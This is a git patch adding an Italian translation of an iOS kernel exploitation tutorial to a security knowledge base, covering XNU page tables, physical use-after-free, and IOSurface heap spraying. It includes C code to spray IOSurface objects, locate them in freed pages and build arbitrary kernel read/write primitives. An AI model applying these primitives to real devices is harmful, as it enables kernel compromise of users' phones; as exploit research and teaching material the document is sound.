From e15a1dfa4f854aaf3872fc66576a2a51f9c6ff69 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Nov 2024 18:40:25 +0000 Subject: [PATCH] Translated ['binary-exploitation/ios-exploiting.md'] to it --- SUMMARY.md | 1 + binary-exploitation/ios-exploiting.md | 203 ++++++++++++++++++++++++++ 2 files changed, 204 insertions(+) create mode 100644 binary-exploitation/ios-exploiting.md diff --git a/SUMMARY.md b/SUMMARY.md index 649dfb1b6..ed2b2504d 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -778,6 +778,7 @@ * [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md) * [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +* [iOS Exploiting](binary-exploitation/ios-exploiting.md) ## 🔩 Reversing diff --git a/binary-exploitation/ios-exploiting.md b/binary-exploitation/ios-exploiting.md new file mode 100644 index 000000000..58261c12c --- /dev/null +++ b/binary-exploitation/ios-exploiting.md @@ -0,0 +1,203 @@ +# iOS Exploiting + +## Uso fisico dopo la liberazione + +Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Gestione della memoria in XNU + +Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali. + +#### Livelli delle Tabelle delle Pagine in iOS + +Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli: + +1. **Tabella delle Pagine L1 (Livello 1)**: +* Ogni voce qui rappresenta un ampio intervallo di memoria virtuale. +* Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale. +2. **Tabella delle Pagine L2 (Livello 2)**: +* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB). +* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola. +3. **Tabella delle Pagine L3 (Livello 3)**: +* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**. +* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato. + +#### Mappatura della Memoria Virtuale a Fisica + +* **Mappatura Diretta (Mappatura a Blocchi)**: +* Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto). +* **Puntatore alla Tabella delle Pagine Figlia**: +* Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2). + +#### Esempio: Mappatura di un Indirizzo Virtuale + +Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**: + +1. **Tabella L1**: +* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2. +2. **Tabella L2**: +* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì. +3. **Tabella L3**: +* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva. + +#### Esempio di Mappatura degli Indirizzi + +Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora: + +* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**. +* Questa è una **mappatura a blocchi** a livello L2. + +In alternativa, se la voce L2 punta a una tabella L3: + +* Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3. + +### Uso fisico dopo la liberazione + +Un **uso fisico dopo la liberazione** (UAF) si verifica quando: + +1. Un processo **alloca** della memoria come **leggibile e scrivibile**. +2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere. +3. Il processo **dealloca** (libera) la memoria. +4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera. +5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**. +6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica. + +Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**. + +### Strategia di Sfruttamento: Heap Spray + +Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**: + +1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel. +2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare. +3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata. +4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**. + +Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +### Processo di Heap Spray Passo-Passo + +1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico"). +2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata. +3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di: +* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel. +* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una stabile **primitiva di lettura/scrittura del kernel**. + +Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare successivamente: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Cerca oggetti **`IOSurface`** in una pagina fisica liberata: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Ottenere la Lettura/Scrittura del Kernel con IOSurface + +Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**. + +**Campi Chiave in IOSurface** + +L'oggetto IOSurface ha due campi cruciali: + +1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**. +2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**. + +Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura. + +#### Lettura del Kernel a 32 Bit + +Per eseguire una lettura: + +1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte. +2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### Scrittura del Kernel a 64 Bit + +Per eseguire una scrittura: + +1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target. +2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Riepilogo del Flusso di Exploit + +1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo. +2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. +3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. +4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la lettura/scrittura **kernel arbitraria** tramite i metodi IOSurface. + +Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).